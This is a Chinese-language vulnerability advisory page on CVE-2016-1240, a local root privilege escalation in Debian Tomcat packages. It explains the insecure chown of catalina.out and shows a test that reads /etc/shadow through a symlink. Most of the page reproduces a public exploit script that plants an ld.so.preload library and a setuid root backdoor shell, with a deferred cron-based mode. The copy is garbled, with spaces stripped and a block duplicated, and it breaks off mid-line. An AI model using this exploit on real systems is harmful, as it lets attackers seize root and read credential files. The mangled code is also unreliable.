Tomcat 服務本地提權漏洞預警

10月1日,Tomcat爆出了一個本地提權漏洞。通過該漏洞,攻擊者可以通過一個低許可權的Tomcat使用者獲得系統的root許可權。

漏洞相關資訊：

CVE ID:

CVE-2016-1240

漏洞原理：

在Debian系統的Linux上管理員通常利用apt-get進行包管理,deb包是Unixar的標準歸檔,講包檔案資訊以及包內容,經過gzip和tar打包而成。

該問題出在Tomcat的deb包中,使 deb包安裝的Tomcat程式會自動為管理員安裝一個啟動指令碼,該指令碼位於/etc/init.d/tomcat*, 跟蹤程式碼如下:

1234567891011

171 # Run the catalina.sh script as a daemon

set+e  touch"$CATALINA_PID""$CATALINA_BASE"/logs/catalina.out chown$TOMCAT7_USER"$CATALINA_PID""$CATALINA_BASE"/logs/catalina.out start-stop-daemon--start-b-u"$TOMCAT7_USER"-g"$TOMCAT7_GROUP"\ -c"$TOMCAT7_USER"-d"$CATALINA_TMPDIR"-p"$CATALINA_PID"\ -x/bin/bash---c"$AUTHBIND_COMMAND $TOMCAT_SH" status="$?"

set+a-e

在174行,Tomcat服務在啟動時,會將log檔案catalina.out的所有者改為Tomcat使用者, 而啟動指令碼通常由root使用者呼叫。如果將catalina.out修改為指向任意檔案的連結將會導致攻擊者以高許可權隨意操作任意系統檔案。

利用分析：

該漏洞利用難度不大且場景常見,攻擊者在上傳webshell後拿到Tomcat使用者許可權,將catalina.out修改為指向 /etc/shadow 的softlink檔案,啟動指令碼執行後,Tomcat使用者將對 /etc/shadow 有訪問許可權,今讀取修改root使用者密碼,測試如下:

➜ ~ su tomcat6 -c “head /var/log/tomcat6/catalina.out” Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFil e WARNING: Problem with directory [/usr/share/tomcat6/common/classes], exists: [fa lse],

isDirectory: [false], canRead: [false]

Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFi

WARNING: Problem with directory [/usr/share/tomcat6/common], exists: [false], isD

irec

tory: [false], canRead: [false]

Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFil

WARNING: Problem with directory [/usr/share/tomcat6/server/classes], exists: [fal

se],

isDirectory: [false], canRead: [false]

Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFi

WARNING: Problem with directory [/usr/share/tomcat6/server], exists: [false], isD

irec

tory: [false], canRead: [false]

Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFi

WARNING: Problem with directory [/usr/share/tomcat6/shared/classes], exists: [fal

se],

isDirectory: [false], canRead: [false]

➜ ~ su tomcat6 -c “ln -fs /etc/shadow /var/log/tomcat6/catalina.out”

➜ ~ su tomcat6 -c “head /var/log/tomcat6/catalina.out” head: cannot open ‘/var/log/tomcat6/catalina.out’ for reading: Permission denied

➜ ~ service tomcat6 start

➜ ~ su tomcat6 -c “head /var/log/tomcat6/catalina.out” root:$6$RYhPkXbD$6w2cN3u44Q 01gpHPMEjo9fgMXr7..1:16993:0:99999:7::: daemon:*:16911:0:99999:7::: bin:*:16911:0:99999:7::: sys:*:16911:0:99999:7::: sync:*:16911:0:99999:7::: games:*:16911:0:99999:7::: man:*:16911:0:99999:7::: lp:*:16911:0:99999:7::: mail:*:16911:0:99999:7::: news:*:16911:0:99999:7:::

該漏洞發現者也在報告公開 PoC, 利用也很有趣,作者不甘於單純的檔案操作,巧妙利用獲得了一個root許可權的shell

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393

#!/bin/bash BACKDOORSH="/bin/bash"BACKDOORPATH="/tmp/tomcatrootsh"PRIVESCLIB="/tmp/privesclib.so"PRIVESCSRC="/tmp/privesclib.c"SUIDBIN="/usr/bin/sudo"functioncleanexit{ # Cleanup echo-e"\n[+] Cleaning up..." rm-f$PRIVESCSRC rm-f$PRIVESCLIB rm-f$TOMCATLOG touch$TOMCATLOG if[-f/etc/ld.so.preload];then echo-n>/etc/ld.so.preload2>/dev/null fi echo-e"\n[+] Job done. Exiting with code $1 \n"exit$1}functionctrl_c(){ echo-e"\n[+]Active exploitation aborted.Remember you can use-deferred switchfordeferred exploitation." cleanexit0}#introecho-e"\033[94m\nTomcat6/7/8on Debian-based distros-Local Root Privilege Escalation Exploit\nCVE-2016-1240\n"echo-e"Discovered andcoded by:\n\nDawid Golunski\nhttp://legalhackers.com\033[0m"# Argsif[$# -lt 1 ]; then echo-e"\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"exit3fiif["$2"="-deferred"];then mode="deferred"else mode="active"fi# Priv checkecho-e"\n[+]Starting the exploit in[\033[94m$mode\033[0m]mode with the following privileges:\n`id`"id|grep-qtomcatif[$?-ne0];thenecho-e"\n[!] You need to execute the exploit as tomcat user! Exiting.\n"#!/bin/bash BACKDOORSH="/bin/bash"BACKDOORPATH=”/TMP/tomcatrootshPRIVESCLIB="/tmp/privesclib.so"PRIVESCSRC="/tmp/privesclib.c"SUIDBIN="/usr/bin/sudo"functioncleanexit{ # Cleanup echo-e"\n[+] Cleaning up..." rm-f$PRIVESCSRC rm-f$PRIVESCLIB rm-f$TOMCATLOG touch$TOMCATLOG if[-f/etc/ld.so.preload];then echo-n>/etc/ld.so.preload2>/dev/null fi echo-e"\n[+] Job done. Exiting with code $1 \n"exit$1}functionctrl_c(){ echo-e"\n[+]Active exploitation aborted.Remember you can use-deferred switchfordeferred exploitation." cleanexit0}#introecho-e"\033[94m\nTomcat6/7/8on Debian-based distros-Local Root Privilege Escalation Exploit\nCVE-2016-1240\n"echo-e"Discovered andcoded by:\n\nDawid Golunski\nhttp://legalhackers.com\033[0m"# Argsif[$# -lt 1 ]; then echo-e"\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"exit3fiif["$2"="-deferred"];then mode="deferred"else mode="active"fi# Priv checkecho-e"\n[+]Starting the exploit in[\033[94m$mode\033[0m]mode with the following privileges:\n`id`"id|grep-qtomcatif[$?-ne0];thenecho-e"\n[!] You need to execute the exploit as tomcat user! Exiting.\n"exit3fi# Set target pathsTOMCATLOG="$1"if[!-f$TOMCATLOG];then echo-e"\n[!]The specified Tomcat catalina.outlog($TOMCATLOG)doesn'texist.Tryagain.\n"exit3fiecho-e"\n[+] Target Tomcat log file set to $TOMCATLOG"# [ Deferred exploitation ]# Symlink the log file to /etc/default/locale file which gets executed daily on default# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around6:25am.# Attackers can freely add their commands to the /etc/default/locale script afterTomcat has been# restarted and file owner gets changed.if["$mode"="deferred"];then rm-f$TOMCATLOG&&ln-s/etc/default/locale$TOMCATLOG if[$?-ne0];then echo-e"\n[!] Couldn't remove the $TOMCATLOG file or create a symlink." cleanexit3 fi echo-e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`" echo-e "\n[+]The current owner of the fileis:\n`ls-l/etc/default/locale`" echo-ne"\n[+]Keep an eye on the owner change on/etc/default/locale.After the Tomcat restart/system reboot" echo-ne"\n you'll be able toadd arbitrary commands tothe filewhich willgetexecuted with root privileges" echo-ne"\n at~6:25amby the/etc/cron.daily/tomcatN log rotation cron.See also-active mode ifyou can'twait;)\n\n"exit0fi# [ Active exploitation ]trap ctrl_c INT# Compile privesc preload libraryecho-e"\n[+] Compiling the privesc shared library ($PRIVESCSRC)"cat<<_solibeof_>$PRIVESCSRC#define _GNU_SOURCE#include <stdio.h>#include <sys/stat.h>#include<unistd.h>#include <dlfcn.h>uid_t geteuid(void){ static uid_t (*old_geteuid)(); old_geteuid=dlsym(RTLD_NEXT,"geteuid"); if(old_geteuid()==0){ chown("$BACKDOORPATH",0,0); chmod("$BACKDOORPATH",04777); unlink("/etc/ld.so.preload");} returnold_geteuid();}_solibeof_gcc-Wall-fPIC-shared-o$PRIVESCLIB$PRIVESCSRC-ldlif[$?-ne0];then echo-e"\n[!] Failed to compile the privesc lib $PRIVESCSRC." cleanexit2;fi# Prepare backdoor shellcp$BACKDOORSH$BACKDOORPATHecho-e"\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"# Safety checkif[-f/etc/ld.so.preload];then echo-e"\n[!] /etc/ld.so.preload already exists. Exiting for safety." cleanexit2fi# Symlink the log file to ld.so.preloadrm-f$TOMCATLOG&&ln-s/etc/ld.so.preload$TOMCATLOGif[$?-ne0];then echo-e"\n[!] Couldn't remove the $TOMCATLOG file or create a symlink." cleanexit3fiecho-e"\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"# Wait for Tomcat to re-open the logsecho-ne"\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..."echo-e "\nYou could speed things up by executing:kill[Tomcat-pid](astomcatuser)ifneeded;)"while:;do sleep0.1 if[-f/etc/ld.so.preload];then echo$PRIVESCLIB>/etc/ld.so.preloadbreak;fidone # /etc/ld.so.preload file should be owned by tomcat user at this point # Inject the privesc.so shared library to escalate privileges echo$PRIVESCLIB>/etc/ld.so.preload echo-e"\n[+]Tomcat restarted.The/etc/ld

Tomcat 服務本地提權漏洞預警

Tomcat 服務本地提權漏洞預警

漏洞預警：Tomcat曝本地提權漏洞

Tomcat曝本地提權漏洞（CVE-2016-1240 附PoC）

CVE-2016-1240漏洞分析（Tomcat本地提權漏洞）

CVE-2016-1240（Tomcat本地提權漏洞分析與復現）

重大安全事件 | Ubuntu 16.04.4 暴本地提權漏洞

CVE-2014-7911 Android本地提權漏洞分析與利用

臟牛Linux本地提權漏洞復現(CVE-2016-5195)

技術乾貨丨Java Web本地提權以及資料劫持思路（以Tomcat為例）

高危預警 | Windows核心提權漏洞(CVE-2018-1038)

Ubuntu 16.04 提權漏洞

CVE-2018-8120 WIN7 08提權漏洞exp

Ubuntu本地提權（CVE-2017-16995）復現

【10.20總結】一個漏洞提交頁面的提權漏洞

墨者學院 - 主機溢位提權漏洞分析

關於Kubernetes CVE-2018-1002105 提權漏洞的修復公告

Windows 10 提權漏洞復現及武器化利用

主機溢位提權漏洞分析

關於Android的root提權漏洞

Android adb setuid提權漏洞的分析

Tomcat 服務本地提權漏洞預警

相關推薦